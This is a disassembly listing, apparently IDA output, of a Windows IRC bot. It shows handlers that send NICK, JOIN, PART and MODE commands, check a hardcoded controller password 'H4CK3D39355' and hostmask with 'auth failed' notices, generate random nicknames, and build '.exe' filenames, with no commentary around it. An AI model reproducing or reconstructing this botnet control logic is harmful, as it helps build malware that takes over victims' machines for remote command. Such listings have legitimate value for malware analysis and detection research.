					; sub_403038+1BC6j
		mov	edi, [ebp+esi+var_8C]
		push	edi
		mov	[ebp+arg_10], edi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		cmp	byte_446228[eax], bl
		jz	loc_40858F
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		push	[ebp+arg_0]
		call	sub_414BE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_414BE0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_414BE0
		add	eax, [ebp+var_C]
		push	[ebp+esi+var_84]
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_417B50
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40858F
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jle	loc_40858F
		push	edi
		call	sub_4174D0
		cmp	eax, 400h
		pop	ecx
		jge	loc_40858F
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		push	dword_44621C[eax]
		call	sub_401445
		push	edi
		call	sub_4174D0
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_446010[eax], 73h
		jnz	loc_40858F
		push	esi
		push	edi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_446228
		push	eax
		push	[ebp+arg_0]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_407A76
; ---------------------------------------------------------------------------


loc_407B8B:				; CODE XREF: sub_403038+1B87j
					; sub_403038+1B9Cj
		push	[ebp+esi+var_8C]
		call	dword_445388
		push	[ebp+arg_0]
		mov	[ebp+var_2FC], eax
		call	sub_4174D0
		push	[ebp+esi+var_84]
		mov	[ebp+var_30C], eax
		call	sub_4174D0
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_38C]
		mov	[ebp+var_390], esi
		push	eax
		call	sub_417770
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], edi
		push	[ebp+var_304]
		mov	[ebp+var_2F0], eax
		push	[ebp+var_30C]
		push	[ebp+var_2FC]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_439B2C
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	0Bh
		push	eax
		call	sub_408E53
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_390]
		push	ebx
		push	eax
		push	offset dword_40A40C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_407C77


loc_407C61:				; CODE XREF: sub_403038+4C3Dj
		cmp	[ebp+var_2EC], ebx
		jnz	loc_407EE8
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_407C61
; ---------------------------------------------------------------------------


loc_407C77:				; CODE XREF: sub_403038+4C27j
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_439B68
		jmp	loc_407ED9
; ---------------------------------------------------------------------------


loc_407C88:				; CODE XREF: sub_403038+1B5Dj
					; sub_403038+1B72j
		push	[ebp+esi+var_8C]
		call	sub_4174D0
		push	7Fh
		mov	[ebp+var_400], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_504]
		push	eax
		call	sub_417770
		push	[ebp+esi+var_84]
		call	sub_4174D0
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_404], eax
		lea	eax, [ebp+var_484]
		push	80h
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_4172D0
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_3F0], eax
		push	[ebp+var_404]
		lea	eax, [ebp+var_504]
		mov	[ebp+var_3F4], edi
		push	eax
		push	[ebp+var_400]
		push	esi
		call	sub_40267D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_439AA0
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	18h
		push	eax
		call	sub_408E53
		add	esp, 24h
		mov	[ebp+var_3FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset loc_40EBC3
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_3FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_407D7B


loc_407D65:				; CODE XREF: sub_403038+4D41j
		cmp	[ebp+var_3EC], ebx
		jnz	loc_407EE8
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_407D65
; ---------------------------------------------------------------------------


loc_407D7B:				; CODE XREF: sub_403038+4D2Bj
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_439ADC
		jmp	loc_407ED9
; ---------------------------------------------------------------------------


loc_407D8C:				; CODE XREF: sub_403038+1B33j
					; sub_403038+1B48j
		mov	eax, [ebp+esi+var_8C]
		mov	edi, 0FFh
		push	edi
		mov	[ebp+arg_10], eax
		push	eax
		lea	eax, [ebp+var_770]
		push	eax
		call	sub_417770
		push	edi
		lea	eax, [ebp+var_670]
		push	[ebp+arg_0]
		push	eax
		call	sub_417770
		mov	eax, [ebp+esi+var_84]
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_56C], ebx
		jz	short loc_407DDC
		push	eax
		call	sub_4174D0
		pop	ecx
		mov	[ebp+var_568], eax
		jmp	short loc_407DE2
; ---------------------------------------------------------------------------


loc_407DDC:				; CODE XREF: sub_403038+4D93j
		mov	[ebp+var_568], ebx


loc_407DE2:				; CODE XREF: sub_403038+4DA2j
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_407DFE
		push	10h
		push	ebx
		push	eax
		call	sub_4181B0
		add	esp, 0Ch
		mov	[ebp+var_560], eax
		jmp	short loc_407E04
; ---------------------------------------------------------------------------


loc_407DFE:				; CODE XREF: sub_403038+4DB0j
		mov	[ebp+var_560], ebx


loc_407E04:				; CODE XREF: sub_403038+4DC4j
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407E1B
		push	esi
		call	sub_4174D0
		pop	ecx
		mov	[ebp+var_564], eax
		jmp	short loc_407E21
; ---------------------------------------------------------------------------


loc_407E1B:				; CODE XREF: sub_403038+4DD2j
		mov	[ebp+var_564], ebx


loc_407E21:				; CODE XREF: sub_403038+4DE1j
		movzx	eax, [ebp+var_997]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_55C], eax
		lea	eax, [ebp+var_7F0]
		mov	[ebp+var_7F4], esi
		push	eax
		call	sub_417770
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_558], eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		mov	[ebp+var_554], edi
		push	offset unk_439A24
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_2E4]
		push	1Dh
		push	eax
		call	sub_408E53
		add	esp, 28h
		mov	[ebp+var_570], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F4]
		push	ebx
		push	eax
		push	offset loc_41105D
		push	ebx
		push	ebx
		call	near ptr 26A08FFh
		nop
		mov	ecx, [ebp+var_570]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_407ECD


loc_407EBB:				; CODE XREF: sub_403038+4E93j
		cmp	[ebp+var_550], ebx
		jnz	short loc_407EE8
		push	32h
		call	near ptr 2690599h
		nop
		jmp	short loc_407EBB
; ---------------------------------------------------------------------------


loc_407ECD:				; CODE XREF: sub_403038+4E81j
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_439A50


loc_407ED9:				; CODE XREF: sub_403038+3739j
					; sub_403038+3871j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_407EE8:				; CODE XREF: sub_403038+371Dj
					; sub_403038+3855j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40514A
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_405142
; ---------------------------------------------------------------------------


loc_407F06:				; CODE XREF: sub_403038+1B09j
					; sub_403038+1B1Ej
		push	44h
		lea	eax, [ebp+var_328]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417070
		push	1
		mov	[ebp+var_328], edi
		pop	edi
		mov	word ptr [ebp+var_2F8],	bx
		push	[ebp+esi+var_8C]
		mov	[ebp+var_2FC], edi
		call	sub_4174D0
		add	esp, 10h
		cmp	eax, edi
		jnz	short loc_407F49
		mov	word ptr [ebp+var_2F8],	5


loc_407F49:				; CODE XREF: sub_403038+4F06j
		cmp	[ebp+var_C], ebx
		jz	loc_404E0F
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_417B50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_404E0F
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_328]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	edi
		push	ebx
		push	ebx
		push	esi
		push	ebx
		call	near ptr 267039Fh
		nop
		test	eax, eax
		jnz	short loc_407F94
		push	offset unk_4399D4
		jmp	loc_405AEA
; ---------------------------------------------------------------------------


loc_407F94:				; CODE XREF: sub_403038+4F50j
		push	esi
		push	offset dword_4399F8
		jmp	loc_404E00
; ---------------------------------------------------------------------------


loc_407F9F:				; CODE XREF: sub_403038+1ADFj
					; sub_403038+1AF4j
		push	[ebp+arg_0]
		push	offset aMqbol	; "mqbol"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408117
		lea	eax, [ebp+var_4E8]
		push	eax
		push	104h
		nop
		call	near ptr 26D0000h
		mov	edi, [ebp+esi+var_8C]
		push	0FFh
		lea	eax, [ebp+var_770]
		push	edi
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_408832
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_670]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4171D0
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_56C], 1
		mov	[ebp+var_568], ebx
		jz	short loc_408038
		push	10h
		push	ebx
		push	eax
		call	sub_4181B0
		add	esp, 0Ch
		mov	[ebp+var_560], eax
		jmp	short loc_40803E
; ---------------------------------------------------------------------------


loc_408038:				; CODE XREF: sub_403038+4FEAj
		mov	[ebp+var_560], ebx


loc_40803E:				; CODE XREF: sub_403038+4FFEj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408055
		push	esi
		call	sub_4174D0
		pop	ecx
		mov	[ebp+var_564], eax
		jmp	short loc_40805B
; ---------------------------------------------------------------------------


loc_408055:				; CODE XREF: sub_403038+500Cj
		mov	[ebp+var_564], ebx


loc_40805B:				; CODE XREF: sub_403038+501Bj
		movzx	eax, [ebp+var_997]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_55C], eax
		lea	eax, [ebp+var_7F0]
		mov	[ebp+var_7F4], esi
		push	eax
		call	sub_417770
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_554], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_439918
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_2E4]
		push	1Eh
		push	eax
		call	sub_408E53
		add	esp, 24h
		mov	[ebp+var_570], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F4]
		push	ebx
		push	eax
		push	offset loc_41105D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_570]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_408106


loc_4080F0:				; CODE XREF: sub_403038+50CCj
		cmp	[ebp+var_550], ebx
		jnz	loc_404E0F
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_4080F0
; ---------------------------------------------------------------------------


loc_408106:				; CODE XREF: sub_403038+50B6j
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset dword_439944
		jmp	loc_404E00
; ---------------------------------------------------------------------------


loc_408117:				; CODE XREF: sub_403038+4F78j
		push	offset dword_439980
		jmp	loc_405AEA
; ---------------------------------------------------------------------------


loc_408121:				; CODE XREF: sub_403038+1AB5j
					; sub_403038+1ACAj
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2E4]
		push	offset aPartS_0	; "PART	%s"
		push	eax
		call	sub_4171D0
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_4174D0
		add	esp, 10h
		test	eax, eax
		jle	loc_40858F
		push	esi
		call	sub_4174D0
		cmp	eax, 400h
		pop	ecx
		jge	loc_40858F
		lea	eax, [ebp+var_2E4]
		push	eax
		push	offset aS_14	; "%s\r\n"


loc_40816B:				; CODE XREF: sub_403038+2EE0j
					; sub_403038+51A4j
		push	esi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		push	dword_44621C[eax]
		call	sub_4013FF


loc_408183:				; CODE XREF: sub_403038+3F21j
					; sub_403038+3F37j ...
		add	esp, 0Ch
		jmp	loc_40858F
; ---------------------------------------------------------------------------


loc_40818B:				; CODE XREF: sub_403038+1A8Bj
					; sub_403038+1AA0j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_0]
		push	offset aJoinSS_2 ; "JOIN %s %s"
		push	eax
		call	sub_4171D0
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_4174D0
		add	esp, 14h
		test	eax, eax
		jle	loc_40858F
		push	esi
		call	sub_4174D0
		cmp	eax, 400h
		pop	ecx
		jge	loc_40858F
		lea	eax, [ebp+var_2E4]
		push	eax
		push	offset aS_15	; "%s\r\n"
		jmp	short loc_40816B
; ---------------------------------------------------------------------------


loc_4081DE:				; CODE XREF: sub_403038+1A61j
					; sub_403038+1A76j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2E4]
		push	offset aNickS_1	; "NICK	%s"
		push	eax
		call	sub_4171D0
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_4174D0
		add	esp, 10h
		test	eax, eax
		jle	loc_40858F
		push	esi
		call	sub_4174D0
		cmp	eax, 400h
		pop	ecx
		jge	loc_40858F
		lea	eax, [ebp+var_2E4]
		push	eax
		push	offset aS_16	; "%s\r\n"
		push	esi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		push	dword_44621C[eax]
		call	sub_4013FF
		push	[ebp+arg_0]
		push	esi
		push	offset dword_43989C


loc_408249:				; CODE XREF: sub_403038+2C13j
					; sub_403038+30DFj ...
		call	sub_4105CB


loc_40824E:				; CODE XREF: sub_403038+3BF3j
		add	esp, 18h
		jmp	loc_40858F
; ---------------------------------------------------------------------------


loc_408256:				; CODE XREF: sub_403038+1A37j
					; sub_403038+1A4Cj
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_417B50
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_408287
		push	edi
		lea	eax, [ebp+var_2E4]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_408287:				; CODE XREF: sub_403038+5238j
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jle	loc_40858F
		push	esi
		call	sub_4174D0
		cmp	eax, 400h
		pop	ecx
		jge	loc_40858F
		lea	eax, [ebp+var_2E4]
		push	eax
		push	offset aS_17	; "%s\r\n"
		push	esi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		push	dword_44621C[eax]
		call	sub_4013FF
		push	edi
		push	esi
		push	offset dword_439864
		jmp	loc_408249
; ---------------------------------------------------------------------------


loc_4082DF:				; CODE XREF: sub_403038+1A0Dj
					; sub_403038+1A22j
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_417B50
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40858F
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jle	loc_40858F
		push	esi
		call	sub_4174D0
		cmp	eax, 400h
		pop	ecx
		jge	loc_40858F
		push	edi
		push	offset aS_18	; "%s\r\n"
		push	esi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		push	dword_44621C[eax]
		call	sub_4013FF
		push	edi
		push	esi
		push	offset dword_43982C
		jmp	loc_408249
; ---------------------------------------------------------------------------


loc_408351:				; CODE XREF: sub_403038+19E3j
					; sub_403038+19F8j
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		push	[ebp+esi+var_8C]
		push	[ebp+var_C]
		call	sub_417B50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40858F
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	esi
		push	offset unk_4397FC


loc_408389:				; CODE XREF: sub_403038+3098j
					; sub_403038+30B8j ...
		call	sub_4105CB


loc_40838E:				; CODE XREF: sub_403038+53C5j
		add	esp, 14h
		jmp	loc_40858F
; ---------------------------------------------------------------------------


loc_408396:				; CODE XREF: sub_403038+19B9j
					; sub_403038+19CEj
		push	[ebp+var_8C]
		push	offset a332_0	; "332"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034D4
		push	[ebp+arg_0]
		push	offset aPartS_1	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	[ebp+esi+var_8C]
		call	sub_4174D0
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2690599h
		push	[ebp+esi+var_84]
		push	[ebp+arg_0]
		push	offset aJoinSS_3 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	offset dword_4397D0
		call	sub_410557
		jmp	short loc_40838E
; ---------------------------------------------------------------------------


loc_4083FF:				; CODE XREF: sub_403038+198Fj
					; sub_403038+19A4j
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_414BE0
		mov	edx, eax
		push	edi
		mov	[ebp+arg_18], edx
		call	sub_414BE0
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_18]
		push	[ebp+arg_0]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_417B50
		mov	edi, eax
		add	esp, 10h
		cmp	edi, ebx
		jz	loc_40858F
		push	edi
		lea	eax, [ebp+var_2E4]
		push	offset dword_43977C
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		push	esi
		push	[ebp+arg_4]
		call	sub_401445
		push	edi
		push	esi
		push	offset unk_439788
		call	sub_4105CB
		add	esp, 2Ch
		jmp	loc_40858F
; ---------------------------------------------------------------------------


loc_408478:				; CODE XREF: sub_403038+1965j
					; sub_403038+197Aj
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_414BE0
		mov	edx, eax
		push	edi
		mov	[ebp+arg_18], edx
		call	sub_414BE0
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_18]
		push	[ebp+arg_0]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_417B50
		mov	edi, eax
		add	esp, 10h
		cmp	edi, ebx
		jz	loc_40858F
		push	ebx
		push	ebx
		push	edi
		push	esi
		push	[ebp+arg_4]
		call	sub_401445
		push	edi
		push	esi
		push	offset unk_439750
		call	sub_4105CB
		add	esp, 20h
		jmp	loc_40858F
; ---------------------------------------------------------------------------


loc_4084D9:				; CODE XREF: sub_403038+193Bj
					; sub_403038+1950j
		cmp	[ebp+var_C], ebx
		jz	loc_4034D4
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_417B50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4034D4
		mov	esi, [ebp+esi+var_8C]
		push	eax
		push	esi
		call	sub_41045F
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset unk_439724
		push	eax
		call	sub_4171D0
		add	esp, 14h
		jmp	loc_405129
; ---------------------------------------------------------------------------


loc_40851F:				; CODE XREF: sub_403038+1911j
					; sub_403038+1926j
		push	[ebp+arg_0]
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41212B


loc_40853A:				; CODE XREF: sub_403038+3A68j
		add	esp, 14h
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_408542:				; CODE XREF: sub_403038+E9Cj
					; sub_403038+EB1j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_98C], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_54C]
		push	dword_436C30
		push	eax
		call	sub_408B4C
		lea	eax, [ebp+var_54C]
		push	eax
		push	offset aNickS_2	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		lea	eax, [ebp+var_54C]
		push	eax
		push	offset unk_437C40
		call	sub_4105CB


loc_40858C:				; CODE XREF: sub_403038+4345j
		add	esp, 24h


loc_40858F:				; CODE XREF: sub_403038+621j
					; sub_403038+62Dj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_4034D7
; ---------------------------------------------------------------------------


loc_408597:				; CODE XREF: sub_403038+A83j
					; sub_403038+A98j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_4034D4
		cmp	[ebp+var_A4], ebx
		jnz	loc_4034D4
		push	offset asc_437A84 ; "!"
		push	[ebp+var_90]
		call	sub_417620
		mov	esi, eax
		push	offset dword_4D3194
		push	ebx
		inc	esi
		call	sub_417620
		push	offset asc_437A88 ; "~"
		push	eax
		call	sub_417620
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aH4ck3d39355 ; "H4CK3D39355"
		call	sub_417870
		add	esp, 20h
		test	eax, eax
		jz	short loc_40862D
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_4013FF
		push	edi
		push	esi
		push	offset unk_437AE0
		jmp	short loc_408689
; ---------------------------------------------------------------------------


loc_40862D:				; CODE XREF: sub_403038+55BAj
		mov	[ebp+arg_24], offset off_436CEC


loc_408634:				; CODE XREF: sub_403038+5618j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4091AC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40869D
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_436CF0
		jl	short loc_408634
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_4013FF
		push	edi
		push	esi
		push	offset unk_437B60


loc_408689:				; CODE XREF: sub_403038+55F3j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 30h
		jmp	loc_403953
; ---------------------------------------------------------------------------


loc_40869D:				; CODE XREF: sub_403038+560Bj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4086A2:				; CODE XREF: sub_403038+5694j
		cmp	[ebp+arg_10], ebx
		jz	loc_4034D4
		cmp	[edi], bl
		jnz	short loc_4086C2
		push	[ebp+arg_10]
		push	offset aH4ck3d39355 ; "H4CK3D39355"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086D3


loc_4086C2:				; CODE XREF: sub_403038+5675j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4086A2
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_4086D3:				; CODE XREF: sub_403038+5688j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_A7C]
		push	7Fh
		push	eax
		push	esi
		call	sub_417770
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40870A
		push	ebx
		push	[ebp+var_4]
		push	offset unk_437B8C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_40870A:				; CODE XREF: sub_403038+56B6j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_437BAC


loc_408716:				; CODE XREF: sub_403038+58Aj
					; sub_403038+3CFFj ...
		call	sub_4105CB


loc_40871B:				; CODE XREF: sub_403038+1F91j
		pop	ecx


loc_40871C:				; CODE XREF: sub_403038+211Ej
		pop	ecx
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_408722:				; CODE XREF: sub_403038+205j
					; sub_403038+21Aj
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	offset aXRi	; "-x+Ri"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_4 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		add	esp, 2Ch
		mov	dword_4D3184, edi
		jmp	loc_4032CC
sub_403038	endp


; =============== S U B	R O U T	I N E =======================================



sub_408768	proc near		; CODE XREF: sub_408B4C+49p
					; DATA XREF: ___:off_439F68o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26C05FFh
		nop
		push	eax
		call	sub_417B00
		call	sub_417B10
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_439FD0[edx*4]
		push	offset aS_29	; "%s"
		push	1Ch
		push	edi
		call	sub_4172D0
		xor	esi, esi
		add	esp, 14h
		cmp	dword_436C2C, esi
		jle	short loc_4087CF


loc_4087A9:				; CODE XREF: sub_408768+65j
		call	sub_417B10
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_4172D0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_436C2C
		jl	short loc_4087A9


loc_4087CF:				; CODE XREF: sub_408768+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_408768	endp

; ---------------------------------------------------------------------------
		dd 0E8905756h, 22B7E23h, 0F31EE850h, 7C8B0000h,	4C71024h
		dd 436CC824h, 0DC446800h, 1C6A0043h, 0EAD6E857h, 0F6330000h
		dd 3910C483h, 436C2C35h, 0E8267E00h, 0F304h, 59990A6Ah
		dd 5752F9F7h, 43DC4868h, 571C6A00h, 0EAAFE8h, 14C48300h
		dd 2C353B46h, 7C00436Ch, 5FC78BDAh
; ---------------------------------------------------------------------------
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408832	proc near		; CODE XREF: sub_403038+4FB0p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26C05FFh
		push	eax
		call	sub_417B00
		pop	ecx
		call	sub_417B10
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_436C2C
		test	esi, esi
		jle	short loc_408875


loc_40885F:				; CODE XREF: sub_408832+41j
		call	sub_417B10
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40885F


loc_408875:				; CODE XREF: sub_408832+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_408832	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, offset aPc	; "PC"
		mov	dword ptr [ebp-4], 100h
		xor	edi, edi
		nop
		call	near ptr 26C05FFh
		push	eax
		call	sub_417B00
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	esi
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_4088B4
		mov	esi, offset aPc_0 ; "PC"


loc_4088B4:				; CODE XREF: ___:004088ADj
		movsx	eax, byte ptr [esi]
		push	41h
		pop	ecx


loc_4088BA:				; CODE XREF: ___:004088C5j
		cmp	eax, ecx
